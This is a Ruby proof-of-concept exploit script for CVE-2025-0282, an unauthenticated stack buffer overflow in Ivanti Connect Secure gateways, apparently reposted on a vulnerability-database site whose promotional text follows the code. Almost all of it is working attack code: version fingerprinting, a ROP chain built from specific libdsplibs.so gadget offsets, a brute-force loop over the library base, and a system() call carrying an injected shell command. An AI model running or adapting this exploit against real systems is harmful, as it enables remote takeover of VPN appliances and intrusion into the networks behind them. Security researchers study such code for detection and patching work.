# PoC for CVE-2025-0282, a remote unauthenticated stack based buffer overflow affecting
# Ivanti Connect Secure, Ivanti Policy Secure, and Ivanti Neurons for ZTA gateways.
#
# Based upon the exploitation strategy published by watchTowr (https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282).
#
# Usage: ruby CVE-2025-0282.rb -t 192.168.86.111 -p 443
#
# Stephen Fewer (Rapid7) - January 16, 2025.
require 'base64'
require 'socket'
require 'openssl'
require 'httparty'
require 'optparse'
HTTParty::Basement.default_options.update(verify: false)
def log(txt)
$stdout.puts txt
end
def rand_string(len)
(0...len).map {'a'.ord + rand(26)}.pack('C*')
end
def send_http_data(s, data, verbose=false)
s.write(data)
result = ''
content_length = 0
while line = s.gets
p line if verbose
m = line.match(/Content-length: (\d+)\r\n/)
if m
content_length = m[1].to_i
end
result << line
if line == "\r\n" && content_length
break if content_length <= 0
content = s.read(content_length)
p content if verbose
result << content
break
end
end
return result
end
# https://github.com/BishopFox/CVE-2025-0282-check/blob/main/scan-cve-2025-0282.py#L6
def get_productversion(ip,port)
res = HTTParty.get("https://#{ip}:#{port}/dana-na/auth/url_admin/welcome.cgi?type=inter")
return nil unless res&.code == 200
m = res.body.match(/name="productversion"\s+value="(\d+.\d+.\d+.\d+)"/i)
return nil unless m&.length == 2
m[1]
end
def hax(ip, port)
log "[+] Targeting #{ip}:#{port}"
productversion = get_productversion(ip, port)
if productversion.nil?
log "[-] Could not get product version for #{ip}:#{port}"
return
end
log "[+] Detected version #{productversion}"
# Note: All gadgets are from /home/lib/libdsplibs.so
targets= {
# 22.7r2.4 b3597 (libdsplibs.so sha1: f31a3cc442df5178b37ea539ff418fec9bf3404f)
'22.7.2.3597' => {
padding_to_vftable: 2288,
vftable_gadget_offset: 0x00934365 + 2,
padding_to_next_frame: 2934,
offset_to_got_plt: 0x00157c000,
gadget_inc_ebx_ret: 0x01338373,
gadget_mov_eax_esp_retn_c: 0x00ca2e84,
gadget_add_eax_8_ret: 0x007a040c,
gadget_mov_esp_eax_call_system: 0x004f0df3,
}
}
target = targets[productversion]
throw "No target for #{productversion}" unless target
log "[#{Time.now}] Starting..."
attempt = 0
0.upto(2048) do
s = TCPSocket.open(ip, port)
if port == 443
ctx = OpenSSL::SSL::SSLContext.new
ctx.set_params(verify_mode: OpenSSL::SSL::VERIFY_NONE)
s = OpenSSL::SSL::SSLSocket.new(s, ctx).tap do |socket|
socket.sync_close = true
socket.connect
end
end
body = "GET / HTTP/1.1\r\n"
body << "Host: #{ip}:#{port}\r\n"
body << "User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty\r\n"
body << "Content-Type: EAP\r\n"
body << "Upgrade: IF-T/TLS 1.0\r\n"
body << "Content-Length: 0\r\n"
body << "\r\n"
res1 = send_http_data(s, body)
unless res1.include? '101 Switching Protocols'
throw "bad response1"
end
data = [0, 1, 2, 2].pack('C*') # min version 1, max version 2, preferred version 2.
body = [
0x00005597, # VENDOR_TCG
0x00000001, # IFT_VERSION_REQUEST
data.length + 16,
0 # seq id
].pack('NNNN') + data
s.write(body)
attempt += 1
libdsplibs_base = 0xf6492000
buffer = ('C' * target[:padding_to_vftable])
buffer += [libdsplibs_base + target[:vftable_gadget_offset]].pack('V') # ptr to address + 0x48, to ptr, to gadget
buffer += ('A' * target[:padding_to_next_frame])
buffer += [libdsplibs_base + target[:offset_to_got_plt] - 1].pack('V') # ebx == got.plt - 1
buffer += [0xCAFEBEEF].pack('V') # esi
buffer += [0xCAFEBEEF].pack('V') # edi
buffer += [0xCAFEBEEF].pack('V') # ebp
buffer += [libdsplibs_base + target[:gadget_inc_ebx_ret]].pack('V') # inc ebx; ret;
buffer += [libdsplibs_base + target[:gadget_mov_eax_esp_retn_c]].pack('V') # mov eax, esp; ret 0xc;
buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret;
buffer += [0xCAFEBEEF].pack('V')
buffer += [0xCAFEBEEF].pack('V')
buffer += [0xCAFEBEEF].pack('V')
buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret;
buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret;
buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret;
buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret;
buffer += [libdsplibs_base + target[:gadget_mov_esp_eax_call_system]].pack('V') # mov [esp], eax; call system;
buffer += [0xCAFEBEEF].pack('V')
buffer += "touch /var/tmp/haxor_#{attempt}; #".gsub(' ', '${IFS}')
["\x00"].each do |bad_char|
throw "buffer cannot have bad char #{bad_char.chr}" if buffer.include? bad_char
end
data = "clientHostName=abcdefgh clientIp=127.0.0.1 clientCapabilities=#{buffer}\n\x00"
body = [
0x00000a4c, # VENDOR_JUNIPER
0x00000088, # ?
data.length + 16,
1 # seq id
].pack('NNNN') + data
log "[#{Time.now}] Triggering ##{attempt}..."
s.write(body)
rescue Errno::ECONNREFUSED, Errno::ECONNRESET, Errno::ECONNABORTED
sleep(1)
next
end
end
target_ip = nil
target_port = 443
OptionParser.new do |opts|
opts.banner = "Usage: CVE-2025-0282.rb [options]"
opts.on("-t", "--taget=TARGET", "target IP") do |v|
target_ip = v
end
opts.on("-p", "--port=PORT", "target port") do |v|
target_port = v.to_i
end
end.parse!
throw "set target IP via -t argument" unless target_ip
hax(target_ip, target_port)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation